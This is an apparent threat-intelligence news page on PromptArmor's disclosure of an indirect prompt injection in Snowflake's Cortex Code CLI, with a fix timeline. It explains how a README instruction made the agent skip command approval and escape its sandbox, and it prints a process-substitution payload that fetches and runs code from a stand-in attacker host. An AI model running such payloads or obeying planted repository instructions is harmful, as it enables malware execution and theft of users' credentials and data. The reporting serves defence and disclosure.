Snowflake fixed a vulnerability in its Cortex Code CLI that allowed an indirect prompt injection hidden in an untrusted GitHub repository to bypass command-approval controls, escape the tool’s sandbox, and execute attacker-supplied code. PromptArmor reported that a malicious instruction embedded in a repository README could cause the agent to run shell commands without the expected human-in-the-loop approval, despite sandbox mode being enabled. The issue affected command validation logic and enabled arbitrary command execution outside the intended isolation boundary, creating a path for malware download and execution.
The demonstrated attack used shell process substitution to abuse commands that Cortex treated as safe, including a payload of the form cat < <(sh < <(wget -q0- https://ATTACKER_URL.com/bugbot)). Researchers said the resulting code execution could leverage the victim’s active Snowflake credentials to perform actions such as data exfiltration and table deletion. Snowflake validated the report and released a fix in Cortex Code CLI version 1.0.25, while external commentary highlighted the broader weakness of agent command allow-lists and argued that AI agents should be treated as capable of performing anything permitted by the underlying process unless constrained by stronger, deterministic sandboxing.

Track how attackers are adapting to this technology.
3 events from the most recent confirmed update back to the earliest known activity.
PromptArmor publicly disclosed the attack chain showing how a hidden prompt injection in a GitHub README could cause Snowflake's Cortex agent to escape safeguards and execute attacker-hosted code. The coordinated disclosure also noted that Snowflake had already fixed the issue.
Snowflake released a fix for the vulnerability in Cortex Code CLI version 1.0.25. The patch addressed the command validation weakness that allowed abuse of process substitution and unsandboxed execution paths.
PromptArmor responsibly disclosed an indirect prompt injection flaw in Snowflake Cortex Code CLI to Snowflake. The issue allowed arbitrary command execution outside the intended sandbox and could lead to actions such as malware execution, token abuse, data exfiltration, or account backdooring depending on user privileges.
Vulnerabilities, threat actors, malware, products, organizations, breaches, and observables Mallory has linked to this story. Indicator values are masked here and available in full in the app.
Indicator values are masked on this page. See the values in Mallory Domains, IPs, hashes, and URLs are exportable to your SIEM.
Follow how adversaries are adapting to this technology, and where it touches your stack today.
2 references tracked. Mallory keeps watching after this page renders.
Map indicators from this story to your assets and identify affected systems in minutes.
Every observed campaign, victim, and pivot linked to actors named in this story.
Malware, exploits, and IOCs connected to the activity described here.
YARA, Sigma, and Snort rules deployed to your SIEM as soon as they’re published.
Get matching new stories delivered to your team as they break — not the next morning.
Ask questions about this story and take action on the answers.